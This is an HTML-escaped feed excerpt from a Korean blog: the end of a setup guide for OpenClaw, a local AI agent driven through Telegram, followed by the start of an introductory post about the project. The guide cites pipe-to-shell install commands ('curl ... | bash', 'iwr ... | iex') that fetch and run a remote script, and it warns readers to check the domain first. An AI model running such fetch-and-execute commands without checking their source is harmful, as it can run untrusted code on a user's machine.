class=&quot;token function&quot;&gt;iex&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;npm으로 직접 설치(대안)&lt;/strong&gt; — 이미 Node 환경이 잡혀 있다면 npm 전역 설치도 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; openclaw@latest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;code class=&quot;language-text&quot;&gt;curl ... | bash&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;iwr ... | iex&lt;/code&gt;는 &lt;strong&gt;받은 스크립트를 그대로 실행&lt;/strong&gt;하는 방식입니다. 편하지만, 주소가 진짜 &lt;code class=&quot;language-text&quot;&gt;openclaw.ai&lt;/code&gt;가 맞는지 반드시 눈으로 확인하세요. 찜찜하면 스크립트를 파일로 먼저 내려받아(&lt;code class=&quot;language-text&quot;&gt;curl -fsSL https://openclaw.ai/install.sh -o install.sh&lt;/code&gt;) 열어본 뒤 실행하는 것도 방법입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;설치가 끝났으면 버전으로 확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;openclaw &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;2단계: onboard — 두뇌 연결 + 데몬 등록&lt;/h2&gt;
&lt;p&gt;설치했다고 바로 쓰는 게 아닙니다. &lt;strong&gt;onboard 마법사&lt;/strong&gt;를 돌려야 두뇌(LLM)를 연결하고 Gateway를 상시 실행 상태로 만들 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;openclaw onboard --install-daemon&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 한 줄이 대화형 마법사를 띄우고, 순서대로 물어봅니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;모델 제공자 선택&lt;/strong&gt; — Claude(Anthropic), GPT(OpenAI) 등&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인증 방식 선택&lt;/strong&gt; — 준비한 &lt;strong&gt;API 키를 붙여넣거나&lt;/strong&gt;, &lt;strong&gt;Claude·ChatGPT 구독 계정으로 로그인&lt;/strong&gt;(별도 키 불필요)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;워크스페이스 설정&lt;/strong&gt; — 에이전트가 파일을 읽고 쓸 작업 폴더&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gateway 데몬 등록&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;--install-daemon&lt;/code&gt; 덕분에 macOS는 &lt;strong&gt;launchd&lt;/strong&gt;, Linux는 &lt;strong&gt;systemd&lt;/strong&gt; 사용자 서비스로 등록되어, 재부팅 후에도 백그라운드에서 항상 떠 있게 됩니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;여기서 등장하는 &lt;strong&gt;Gateway&lt;/strong&gt;가 OpenClaw의 심장입니다. 세션·채널·툴·이벤트를 내 기기 안에서 관리하는 로컬 컨트롤 플레인이죠(로컬 우선 설계의 핵심). onboard가 이 데몬을 &quot;항상 켜진 상태&quot;로 만들어 줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3단계: Gateway 살아있는지 확인 + Control UI&lt;/h2&gt;
&lt;p&gt;데몬이 제대로 떴는지 상태부터 봅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;openclaw gateway status&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;정상이라면 Gateway가 &lt;strong&gt;포트 18789&lt;/strong&gt;에서 리스닝 중이라고 나옵니다. 안 뜨거나 죽어 있으면 재시작:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;openclaw gateway restart&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이제 브라우저 대시보드(Control UI)를 열어 실제로 대화가 되는지 확인합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;openclaw dashboard&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;브라우저가 열리면 채팅창에 아무 말이나 입력해 보세요. &lt;strong&gt;AI 응답이 돌아오면 두뇌 연결까지 성공&lt;/strong&gt;입니다. 여기까지 오면 OpenClaw 본체는 완성이고, 남은 건 &quot;어떤 메신저로 부릴 것인가&quot;뿐입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4단계: 텔레그램 봇 연결하기 (가장 빠른 채널)&lt;/h2&gt;
&lt;p&gt;OpenClaw는 29개 채널을 지원하지만, &lt;strong&gt;가장 손쉬운 건 텔레그램&lt;/strong&gt;입니다. 봇 토큰 하나면 끝나거든요.&lt;/p&gt;
&lt;h3&gt;① BotFather로 봇 토큰 발급&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;텔레그램에서 &lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;@BotFather&lt;/code&gt;&lt;/strong&gt; 검색 (파란 인증 체크마크 확인 — 사칭 봇 주의)&lt;/li&gt;
&lt;li&gt;대화창에서 &lt;code class=&quot;language-text&quot;&gt;/newbot&lt;/code&gt; 전송&lt;/li&gt;
&lt;li&gt;봇 이름과 사용자명을 프롬프트에 따라 입력&lt;/li&gt;
&lt;li&gt;발급된 &lt;strong&gt;토큰 문자열&lt;/strong&gt;을 복사 (&lt;code class=&quot;language-text&quot;&gt;123456:ABC-DEF...&lt;/code&gt; 형태)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;② 토큰을 OpenClaw에 등록&lt;/h3&gt;
&lt;p&gt;설정 파일(JSON5)에 채널을 추가하거나:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json5&quot;&gt;&lt;pre class=&quot;language-json5&quot;&gt;&lt;code class=&quot;language-json5&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property unquoted&quot;&gt;channels&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property unquoted&quot;&gt;telegram&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property unquoted&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property unquoted&quot;&gt;botToken&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;여기에_발급받은_토큰&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property unquoted&quot;&gt;dmPolicy&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pairing&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 아무나 말 걸지 못하게 페어링 방식 권장&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;또는 환경 변수로 간단히 넣어도 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;TELEGRAM_BOT_TOKEN&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;여기에_발급받은_토큰&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;③ Gateway 재기동 + 페어링 승인&lt;/h3&gt;
&lt;p&gt;토큰을 넣었으면 Gateway를 띄우고, 내 계정을 봇과 &lt;strong&gt;페어링&lt;/strong&gt;해서 연결합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;openclaw gateway
openclaw pairing list telegram          &lt;span class=&quot;token comment&quot;&gt;# 대기 중인 페어링 코드 확인&lt;/span&gt;
openclaw pairing approve telegram &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;CODE&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 그 코드를 승인&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;페어링 코드는 &lt;strong&gt;발급 후 1시간 뒤 만료&lt;/strong&gt;됩니다. 목록에서 코드가 안 보이면, 텔레그램에서 내 봇에게 먼저 메시지를 한 번 보내 페어링 요청을 만들어 주세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;승인이 끝나면, 이제 텔레그램에서 내 봇에게 문자를 보내듯 지시하면 됩니다. &quot;이 폴더 로그 정리해줘&quot;, &quot;매일 아침 요약 보내줘&quot; 처럼요. &lt;strong&gt;메신저가 곧 AI 비서의 리모컨&lt;/strong&gt;이 되는 순간입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 막히는 지점 — 트러블슈팅&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;증상&lt;/th&gt;
&lt;th&gt;원인 / 해결&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;openclaw: command not found&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;설치 후 셸을 새로 열거나 &lt;code class=&quot;language-text&quot;&gt;PATH&lt;/code&gt; 재로딩. npm 설치면 전역 bin 경로 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;onboard 중 Node 버전 오류&lt;/td&gt;
&lt;td&gt;Node 24.15+로 업그레이드 (&lt;code class=&quot;language-text&quot;&gt;nvm&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;fnm&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;volta&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;gateway status&lt;/code&gt;가 죽어 있음&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;openclaw gateway restart&lt;/code&gt;, 그래도 안 되면 포트 18789 점유 프로세스 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;텔레그램 응답 없음&lt;/td&gt;
&lt;td&gt;봇 토큰 오타, &lt;code class=&quot;language-text&quot;&gt;enabled: true&lt;/code&gt; 누락, 페어링 미승인 3가지부터 점검&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;페어링 코드가 안 보임&lt;/td&gt;
&lt;td&gt;봇에게 먼저 메시지 전송 → &lt;code class=&quot;language-text&quot;&gt;pairing list&lt;/code&gt;. 코드는 1시간 만료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM이 응답 안 함&lt;/td&gt;
&lt;td&gt;API 키 유효성·잔액·모델명 확인 (Control UI 채팅으로 격리 테스트)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;문제가 생기면 &lt;strong&gt;&quot;어디까지 됐나&quot;를 3·4단계 순서로 되짚는 게&lt;/strong&gt; 가장 빠릅니다. Gateway(3단계)가 살아있고 Control UI에서 AI 응답이 되면, 남은 문제는 대부분 채널(4단계) 설정입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 설치하는 데 돈이 드나요?&lt;/strong&gt;
OpenClaw 자체는 MIT 오픈소스라 무료입니다. 비용은 두뇌로 쓰는 LLM 쪽에서 발생하는데, 연결 방식에 따라 다릅니다. &lt;strong&gt;API 키&lt;/strong&gt;를 쓰면 쓴 만큼 종량제로 청구되고, 이미 &lt;strong&gt;Claude Pro/Max·ChatGPT Plus/Pro 같은 월 구독&lt;/strong&gt;이 있다면 그 계정으로 로그인해 &lt;strong&gt;추가 API 비용 없이&lt;/strong&gt; 구독 한도 안에서 쓸 수 있습니다. 가볍게 시작할 땐 기존 구독을, 자동화를 많이 돌릴 땐 API 키 종량제를 저울질하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. Windows에서도 잘 되나요?&lt;/strong&gt;
네. PowerShell 설치 스크립트(&lt;code class=&quot;language-text&quot;&gt;install.ps1&lt;/code&gt;)가 제공되고, 컴패니언 앱도 Windows를 지원합니다. 다만 데몬 등록(자동 상시 실행) 방식은 OS마다 조금씩 달라, 재부팅 후 상태 확인(&lt;code class=&quot;language-text&quot;&gt;gateway status&lt;/code&gt;)을 한 번 해두면 안심입니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. 텔레그램 말고 다른 메신저도 되나요?&lt;/strong&gt;
됩니다. 디스코드·슬랙·왓츠앱·시그널·iMessage 등 29개 채널을 지원합니다. 다만 &lt;strong&gt;초기 세팅 난이도가 가장 낮은 게 텔레그램&lt;/strong&gt;(봇 토큰 하나)이라 첫 연결로 추천합니다. 익숙해진 뒤 다른 채널을 추가하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. &lt;code class=&quot;language-text&quot;&gt;curl | bash&lt;/code&gt; 설치가 불안한데 괜찮나요?&lt;/strong&gt;
편의성과 보안의 트레이드오프입니다. &lt;strong&gt;주소가 공식 도메인(openclaw.ai)이 맞는지&lt;/strong&gt;만 확실하면 위험은 크게 줄어듭니다. 더 안전하게 가려면 스크립트를 파일로 내려받아 내용을 확인한 뒤 실행하거나, npm 전역 설치를 쓰세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 편 예고&lt;/h2&gt;
&lt;p&gt;여기까지 따라오셨다면, 이제 &lt;strong&gt;텔레그램 한 줄로 내 컴퓨터의 AI 비서를 부리는&lt;/strong&gt; 상태가 됐습니다. 설치(1) → 두뇌 연결(2) → 상태 확인(3) → 메신저 페어링(4), 이 흐름만 손에 익으면 다른 채널을 붙이는 것도 금방입니다.&lt;/p&gt;
&lt;p&gt;다음 편에서는 한 발 더 나아가, &lt;strong&gt;ClawHub 스킬을 설치해 실제로 일을 시키는 실전 활용법&lt;/strong&gt;을 다룹니다. &quot;매일 아침 요약&quot;, &quot;웹에서 데이터 긁어오기&quot; 같은 자동화를 스킬 단위로 등록하는 방법이죠.&lt;/p&gt;
&lt;p&gt;메신저로 AI 코딩 에이전트를 원격 조종하는 흐름이 궁금하다면, 텔레그램에서 Claude Code를 부리는 &lt;a href=&quot;/cokacdir-telegram-ai-coding-agent/&quot;&gt;COKACDIR 이야기&lt;/a&gt;도 결이 비슷하니 함께 읽어보시길 권합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;p&gt;설치·설정 절차는 아래 공식 문서를 기준으로 정리했습니다. 버전에 따라 명령·옵션이 바뀔 수 있으니, 실제 설치 시엔 공식 문서를 함께 확인하세요.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;공식 시작 가이드 — &lt;a href=&quot;https://docs.openclaw.ai/start/getting-started&quot;&gt;docs.openclaw.ai/start/getting-started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;텔레그램 채널 문서 — &lt;a href=&quot;https://docs.openclaw.ai/channels/telegram&quot;&gt;docs.openclaw.ai/channels/telegram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;공식 저장소 — &lt;a href=&quot;https://github.com/openclaw/openclaw&quot;&gt;github.com/openclaw/openclaw&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;npm 패키지 — &lt;a href=&quot;https://www.npmjs.com/package/openclaw&quot;&gt;npmjs.com/package/openclaw&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;OpenClaw는 빠르게 개발 중인 프로젝트라 명령·포트·옵션이 업데이트될 수 있습니다. 본문은 2026년 7월 기준이며, 최신 절차는 공식 문서에서 확인하세요.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;설치하면서 어느 단계에서 가장 막히셨나요? Gateway 데몬 등록인가요, 아니면 텔레그램 페어링인가요? 막힌 지점을 댓글로 남겨주시면, 다음 실전편에서 함께 짚어보겠습니다. 🦞&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OpenClaw란? 5개월 만에 GitHub 최다 스타가 된 개인 AI 에이전트]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "GitHub에서 별 30만 개 넘게 받은 그 랍스터 🦞 프로젝트, 대체 뭐예요?" 요즘 개발자 타임라인을 보고 있으면 한 번쯤 이 질문을 하게 됩니다. 리액트도, 쿠버네티스도 아닌 OpenClaw…]]></description><link>https://blog.javapark.kr/openclaw/</link><guid isPermaLink="false">https://blog.javapark.kr/openclaw/</guid><pubDate>Sat, 18 Jul 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/d396aa811a4711c80ba5d3c810d7fbe6/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrUlEQVR42o3SzW/TMBgH4JwZbUpSJ7bjzImd+CNplzQfHS3pEKPtxDSQEIdpBw7cdpqQENoBiQMXEBckrkj8rbhbEUVCgPQ72JYev7ZfW7an/xkXFn5wGIQLEh7B4L4Ly4GXmXWrB/TeUPeBtoEy8/4fcDZEE0zmlD6mdIlJB1A98G+wjzQh2vF1zx/tudJ20v7NLrtxYOHhKQ47UxmZyqjc4oLJqZAq1kGgDspF264clO96M47SZlSvxfgYs6kJZI1PJxt8uaovl5OzKj+v1OfXV1dvPpFoZoPsF/YUS8pqdlLMz4iY4WSKeAvj2vaU9e79x7fXH5bd9cXp11fPv79Yf3n57JuUT++4/PZsBofscFyvk4OHRmLeItZscZYf6eI4pHMadVG8YOwRT04ArvpA/iwuUfoga5/kzSq4xaYyazZYphXhbaKaJCkI5ghyx2M70nRBAtbSrIvV3FzVjyoTb3NnZflhSeNSsLGKpI6koGqfaAB/79ZQ9Nz0rmsaIXeirHueJFik+6Lkok5EziQLlenf/3wey4U6JEpGcsJFk4rRFqu/swHMzXP+AA7WXMDtrRjVAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/d396aa811a4711c80ba5d3c810d7fbe6/a1b3b/thumbnail.webp 215w,
/static/d396aa811a4711c80ba5d3c810d7fbe6/fc700/thumbnail.webp 430w,
/static/d396aa811a4711c80ba5d3c810d7fbe6/521f7/thumbnail.webp 860w,
/static/d396aa811a4711c80ba5d3c810d7fbe6/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/d396aa811a4711c80ba5d3c810d7fbe6/f7886/thumbnail.png 215w,
/static/d396aa811a4711c80ba5d3c810d7fbe6/bc750/thumbnail.png 430w,
/static/d396aa811a4711c80ba5d3c810d7fbe6/3e3fe/thumbnail.png 860w,
/static/d396aa811a4711c80ba5d3c810d7fbe6/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/d396aa811a4711c80ba5d3c810d7fbe6/3e3fe/thumbnail.png&apos; alt=&apos;OpenClaw란 무엇인가 — 메신저로 쓰는 로컬 개인 AI 에이전트, GitHub 최다 스타 레포 커버&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;OpenClaw란 무엇인가 — 메신저로 쓰는 로컬 개인 AI 에이전트, GitHub 최다 스타 레포 커버&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;GitHub에서 별 30만 개 넘게 받은 그 랍스터 🦞 프로젝트, 대체 뭐예요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;요즘 개발자 타임라인을 보고 있으면 한 번쯤 이 질문을 하게 됩니다. 리액트도, 쿠버네티스도 아닌 &lt;strong&gt;OpenClaw&lt;/strong&gt;라는 낯선 이름이 어느새 GitHub에서 가장 별을 많이 받은 소프트웨어 레포지토리가 됐거든요. 그것도 첫 공개 후 &lt;strong&gt;5개월 만에&lt;/strong&gt; 말이죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — OpenClaw는 &lt;strong&gt;내 컴퓨터에서 돌아가면서, 이미 쓰고 있는 메신저로 대화하는 개인 AI 에이전트&lt;/strong&gt;입니다. 챗봇처럼 &quot;이렇게 하세요&quot;라고 알려주는 게 아니라, 파일을 읽고 쓰고 셸 명령을 실행하고 웹을 뒤져서 &lt;strong&gt;직접 해버리는&lt;/strong&gt; 쪽이죠. 이번 글에서는 OpenClaw가 뭔지, 그리고 왜 이렇게까지 떴는지를 정리합니다.&lt;/p&gt;
&lt;p&gt;이 글은 &lt;strong&gt;OpenClaw 파헤치기&lt;/strong&gt; 시리즈의 문을 여는 소개 편입니다. 다음 편부터는 설치와 메신저 연결, 실전 활용법을 하나씩 다뤄볼 예정입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;OpenClaw가 뭔가? — 핵심 요약&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;정체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;로컬에서 돌아가는 오픈소스 개인 AI 에이전트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인터페이스&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;이미 쓰는 메신저(텔레그램·디스코드·왓츠앱·슬랙·시그널·iMessage 등 29개 채널)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;두뇌(LLM)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude, GPT, DeepSeek 등 외부 LLM 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;핵심 특징&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;로컬 우선(local-first) · 대화 맥락 기억 · 실제 실행(파일·셸·웹)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;확장&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ClawHub 스킬 레지스트리 (기본 100+ 스킬, 커뮤니티 스킬 다수)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;라이선스&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;만든 사람&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;오스트리아 개발자 Peter Steinberger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://github.com/openclaw/openclaw&quot;&gt;openclaw/openclaw&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;비유하자면&lt;/strong&gt; — ChatGPT가 창구에 앉아 &quot;그건 이렇게 하시면 됩니다&quot;라고 안내해주는 상담원이라면, OpenClaw는 &lt;strong&gt;집 열쇠를 받아 들고 실제로 일을 처리하고 오는 개인 비서&lt;/strong&gt;에 가깝습니다. 내 기기 안에서 돌아가니 데이터가 밖으로 덜 나가고, 지난 대화를 기억하며, 텔레그램에 메시지 한 줄 보내면 알아서 움직입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 이렇게까지 떴나 — 4가지 이유&lt;/h2&gt;
&lt;h3&gt;1. &quot;말해주는 봇&quot;이 아니라 &quot;해주는 에이전트&quot;&lt;/h3&gt;
&lt;p&gt;대부분의 AI 도구는 결국 &lt;strong&gt;답변을 텍스트로 돌려줄 뿐&lt;/strong&gt;입니다. OpenClaw는 여기서 한 발 더 나갑니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;요청&lt;/th&gt;
&lt;th&gt;일반 챗봇&lt;/th&gt;
&lt;th&gt;OpenClaw&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&quot;이 사이트에서 표 좀 뽑아줘&quot;&lt;/td&gt;
&lt;td&gt;방법을 설명&lt;/td&gt;
&lt;td&gt;직접 브라우징 → 폼 작성 → 데이터 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;로그 파일 정리해줘&quot;&lt;/td&gt;
&lt;td&gt;스크립트를 알려줌&lt;/td&gt;
&lt;td&gt;셸 명령 실행 → 파일 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;매일 아침 요약 보내줘&quot;&lt;/td&gt;
&lt;td&gt;&quot;이렇게 짜세요&quot;&lt;/td&gt;
&lt;td&gt;스킬로 등록 → 실제로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;행동하는 에이전트라는 콘셉트 자체는 새롭지 않지만, 이걸 &lt;strong&gt;평범한 사용자도 메신저로 쓰게&lt;/strong&gt; 만든 게 차별점이었습니다.&lt;/p&gt;
&lt;h3&gt;2. 진입장벽이 사실상 0 — 이미 쓰는 메신저가 인터페이스&lt;/h3&gt;
&lt;p&gt;새 앱을 배우거나 웹 대시보드에 로그인할 필요가 없습니다. &lt;strong&gt;텔레그램, 디스코드, 슬랙, 왓츠앱, 시그널, iMessage&lt;/strong&gt; 등 늘 켜져 있는 메신저에 말을 걸면 됩니다. &quot;AI 비서에게 문자 보내듯 지시한다&quot;는 경험이 폭발적인 확산의 열쇠였습니다.&lt;/p&gt;
&lt;h3&gt;3. 로컬 우선(local-first) — 프라이버시 민감층을 정확히 저격&lt;/h3&gt;
